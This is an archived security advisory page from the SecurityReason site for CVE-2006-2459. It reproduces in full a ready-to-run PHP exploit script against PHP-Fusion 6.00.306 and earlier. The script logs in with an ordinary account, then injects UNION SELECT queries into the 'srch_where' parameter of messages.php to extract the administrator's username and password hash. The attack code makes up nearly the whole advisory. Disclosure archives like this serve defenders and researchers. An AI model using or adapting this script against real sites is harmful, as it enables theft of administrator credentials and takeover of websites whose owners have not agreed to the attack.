Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : PHP-Fusion <= 6.00.306 "srch_where" SQL injection / admin credentials disclosure
  SecurityAlert : 922
  CVE : CVE-2006-2459
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : rgod autistici org
  Published : 21.05.2006

  Affected Software : PHP-Fusion <= 6.00.306



  Advisory Text :  

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHP-Fusion <= v6.00.306 "srch_where" SQL Injection/Admin credentials
disclosurern";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to PHP-Fusionrn";

echo "user/pass: you need an accountrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Example:rn";

echo "php ".$argv[0]." localhost /fusion/ username passwordrn";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$port=80;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 1 -> login...rn";

$data ="user_name=".urlencode(trim($user));

$data.="&user_pass=".urlencode(trim($pass));

$data.="&login=Login";

$packet="POST ".$p."news.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*rn";

$packet.="Referer: http://".$host.$path."news.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(' ',$temp[1]);

$cookie=$temp2[0];

echo 'Your cookie -> '.$cookie."rnrn";

if ($cookie=='') {die("Unable to login...");}

echo "step 2 -> inject some code in srch_where argument...rn";

$sql="999999 UNION SELECT
0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0 FROM fusion_users WHERE user_level=103/*";

$sql=urlencode($sql);

$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("messages.php?msg_view=",$html);

$temp2=explode(">",$temp[1]);

$temp=explode("<",$temp2[1]);

$admin=$temp[0];

echo "admin: ".$admin."rn";

$sql="999999 UNION SELECT
0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0 FROM fusion_users WHERE user_level=103/*";

$sql=urlencode($sql);

$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("messages.php?msg_view=",$html);

$temp2=explode(">",$temp[1]);

$temp=explode("<",$temp2[1]);

$hash=$temp[0];

echo "hash: ".$hash."rn";

?>

original url: http://retrogod.altervista.org/phpfusion_600306_sql.html




  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 (error_log)
   safe_mode bypass

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

Copyright © SecurityReason. All Rights Reserved.